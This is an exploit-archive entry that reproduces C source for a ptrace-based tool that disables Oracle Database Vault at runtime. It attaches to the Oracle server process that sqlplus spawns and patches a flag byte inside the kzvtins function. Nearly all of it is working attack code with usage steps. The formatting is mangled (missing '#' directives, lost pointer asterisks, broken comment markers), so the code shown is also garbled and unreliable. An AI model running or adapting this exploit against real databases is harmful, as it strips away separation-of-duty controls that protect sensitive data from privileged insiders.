Oracle Database Vault ptrace(2) Privilege Escalation Exploit-vulnerability warning-the black bar safety net

2008-11-22T00:00:00
ID MYHACK58:62200821179
Type myhack58
Reporter 佚名
Modified 2008-11-22T00:00:00

Description

`/ * original release: http://vnull.pcnet.com.pl/blog/?p=92 * * ora_dv_mem_off. c version 0x1 * ORACLE Database Vault runtime disabler (x86_32 Linux only) * AKA give_back_the_freedom * by Jakub 'vnull' Wartak <jakub.wartak@gmail.com> 26.02.2008 * 0-day PRIVATE! D0 N0T DI$TRIBUT3! * * Tested on 10.2.0.3, CentOS 5. * For other architectures/OS combos consider having fun with gdb ;] * * Whole Database Vault architecture is flawed if DBA has access to * oracle user process space. IMHO you could limit risk by creating * UNIX accounts for DBAs with membership of OSDBA group (along with * oracle SUID binary, and the shared memory with only read permission * for OSDBA group [check SHM privs: ipcs-cm] ). But how those DBAs * would cope with some serious crashes (requiring for e.g. restoring * controlfile) ? * * Usage: * Set enviorniment variables: ORACLE_BASE, ORACLE_SID, ORACLE_HOME * $ gcc-Wall ora_dv_mem_off. c-o ora_dv_mem_off-lbfd-liberty * $ ./ ora_dv_mem_off * * REQUIEREMENTS: * + run as oracle process owner (by default "oracle") * + working ptrace(), it won't work in systems with ptrace() * disabled (grsecurity and some LKMs). * + BFD headers and library (binutils-devel) * * THE DOCUMENT IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. THE * CONTENT MAY CHANGE WITHOUT NOTICE. IN NO EVENT SHALL THE AUTHORS BE * LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES, INJURIES, * LOSSES OR UNLAWFUL OFFENCES. * * USE AT OWN RISK! * /

include <bfd. h>

include <stdio. h>

include <stdlib. h>

include <string. h>

include <unistd. h>

include <fcntl. h>

include <errno. h>

include <sys/types. h>

include <sys/ptrace. h>

include <sys/wait. h>

include <linux/user. h>

include <linux/ptrace. h>

include <asm/unistd. h> / for __NR_clone /

/ you may need to alter this /

define ORABASE "/u01/app/oracle/product/10.2.0/bin"

/ * The Magic... (at&t syntax) * push %ebp * mov %esp, %ebp * mov <DV_FLAG>, %eax * [..] * where DV_FLAG is 3 2-bit long /

define ASM_DV_FUNC_PROLOG "\x55\x8b\xec\xb8"

const char sqlplus = ORABASE "/sqlplus"; const char oracle = ORABASE "/oracle"; const int long_size = sizeof(long); pid_t child;

long locate_dv_func(void) { asymbol *symbol_table; bfd b = bfd_openr(oracle, NULL); if (b == NULL) { perror("bfd_openr"); exit(-1); }

bfd_check_format(b, bfd_object); long storage_needed = bfd_get_symtab_upper_bound(b); if(storage_needed < 0) { fprintf(stderr, "wtf?!\ n"); exit(-1); }

if((symbol_table = (asymbol**)malloc(storage_needed)) == 0) { perror("malloc"); exit(-1); }

int num_symbols; if((num_symbols = bfd_canonicalize_symtab(b, symbol_table)) <= 0) { fprintf(stderr, "no symbols info\n"); exit(-1); }

int i; for(i = 0; i < num_symbols; i++) { char symname = bfd_asymbol_name(symbol_table[i]); void symaddr = bfd_asymbol_value(symbol_table[i]); / don't even ask why this funciton, for real hardcore: gdb-p <oraclePIDs> / if(! strcmp(symname, "kzvtins")) { fprintf(stderr, "[%d] symbol \"kzvtins\" at 0x%lx\n", getpid(), (long) symaddr); return (long) symaddr; } }

return 0; }

/ from "Playing with ptrace(), part#2, Linux Journal, author: Pradeep Padala / void getdata(pid_t child, long addr, char str, int len) { char laddr; int i, j; union u { long val; char chars[long_size]; } data; i = 0; j = len / long_size; laddr = str; while(i < j) { data. val = ptrace(PTRACE_PEEKDATA, child, addr + i * 4, NULL); memcpy(laddr, data. chars, long_size); ++i; laddr += long_size; } j = len % long_size; if(j != 0) { data. val = ptrace(PTRACE_PEEKDATA,child, addr + i * 4,NULL); memcpy(laddr, data. chars, j); } str[len] = '\0'; }

void putdata(pid_t child, long addr, char str, int len) { char laddr; int i, j; union u { long val; char chars[long_size]; } data; i = 0; j = len / long_size; laddr = str; while(i < j) { memcpy(data. chars, laddr, long_size); ptrace(PTRACE_POKEDATA, child, addr + i * 4, data. val); ++i; laddr += long_size; } j = len % long_size; if(j != 0) { memcpy(data. chars, laddr, j); ptrace(PTRACE_POKEDATA, child, addr + i * 4, data. val); } }

void cleanup(void) { int s; kill(child, SIGKILL); wait(&s); }

int main(int ac, char **av) { int status; pid_t orapid = 0;

bfd_init();

if((child = fork()) == -1) { perror("fork"); exit(-1); }

if(child == 0) { if(ptrace(PTRACE_TRACEME, 0, NULL, NULL)==-1) { perror("unable to ptrace(PTRACE_TRACEME)"); exit(-1); }

/ launch sqlplus / if(execl(sqlplus, "sqlplus", "/nolog", NULL)==-1) { perror("execl"); exit(-1); }

/ not reached / exit(0); }

if(atexit(cleanup) != 0) { fprintf(stderr, "[%d] unable to register cleanup function\n", getpid()); }

wait(&status); if(WIFSTOPPED(status)) { fprintf(stderr, "[%d] starting to trace sqlplus process (%d)\n", getpid(), child); }

fprintf(stderr, "[***] NOW TYPE IN SQLPLUS: conn / as sysdba\n");

while(! orapid) { struct user_regs_struct uregs;

ptrace(PTRACE_SYSCALL, child, 0, 0); wait(&status); ptrace(PTRACE_GETREGS, child, 0, &uregs);

/ ouch! no fork()? clone()! / if(uregs. orig_eax==__NR_clone) { long *regs = 0;

/ fprintf(stderr, "[%d] clone() syscall\n", getpid()); / ptrace(PTRACE_SYSCALL, child, 0, 0); wait(&status); if((orapid = ptrace(PTRACE_PEEKUSER, child, ®s[EAX], 0)) == -1) { perror("ptrace(PTRACE_PEEKUSER): unable to get clone() retvalue\n"); exit(-1); } fprintf(stderr, "[%d] clone() syscall in %d, tracing orapid=%d\n", getpid(), child, orapid);

/ attach to orapid, detach from sqlplus / if(ptrace(PTRACE_ATTACH, orapid, 0, 0) == -1) { perror("ptrace(PTRACE_ATTACH) to orapid"); exit(-1); }

while(1) { ptrace(PTRACE_SYSCALL, orapid, 0, 0); wait(&status); ptrace(PTRACE_GETREGS, orapid, 0, &uregs); if(uregs. orig_eax==__NR_execve) { fprintf(stderr, "[%d] execve() syscall in %d, \n", getpid(), orapid); / end ptrace of syscall / ptrace(PTRACE_SYSCALL, orapid, 0, 0); break; } else { //fprintf(stderr, "got %ld\n", uregs. orig_eax); ptrace(PTRACE_SYSCALL, orapid, 0, 0); } }

if(ptrace(PTRACE_DETACH, child, 0, 0) == -1) { perror("ptrace(PTRACE_DETACH) from child"); exit(-1); }

} else if(uregs. orig_eax==__NR_execve) { fprintf(stderr, "[%d] execve() syscall in %d\n", getpid(), child); } }

/ now we have oracle server process under our control :) / long dv_func = locate_dv_func(); if(dv_func == 0) { fprintf(stderr, "ERROR: unable to find function\n"); exit(-1); } wait(&status);

unsigned char buf[3 2]; memset(buf, 0, sizeof(buf)); getdata(orapid, dv_func, (char *)&buf, 3 2);

/ dump opcodes / / for(i = 0; i < 3 1; i++) { fprintf(stderr, "%x ", (unsigned char)buf[i]); } /

if(! memcmp(buf, ASM_DV_FUNC_PROLOG, strlen(ASM_DV_FUNC_PROLOG))) { unsigned char dv_status; unsigned long woff = dv_func + strlen(ASM_DV_FUNC_PROLOG), woff2=woff;

getdata(orapid, woff, (char )&dv_status, 1); fprintf(stderr, "[] sucessfuly validated function, DatabaseVault=%d\n", dv_status); fprintf(stderr, "[*] attempting to rewrite memory at 0x%lx\n", woff2);

unsigned char my = 0; putdata(orapid, woff2, (void *)&my, 1); }

if(ptrace(PTRACE_DETACH, orapid, 0, 0) == -1) { perror("ptrace(PTRACE_DETACH) from orapid"); exit(-1); }

wait(&status); exit(0); }

// milw0rm.com [2008-11-20] `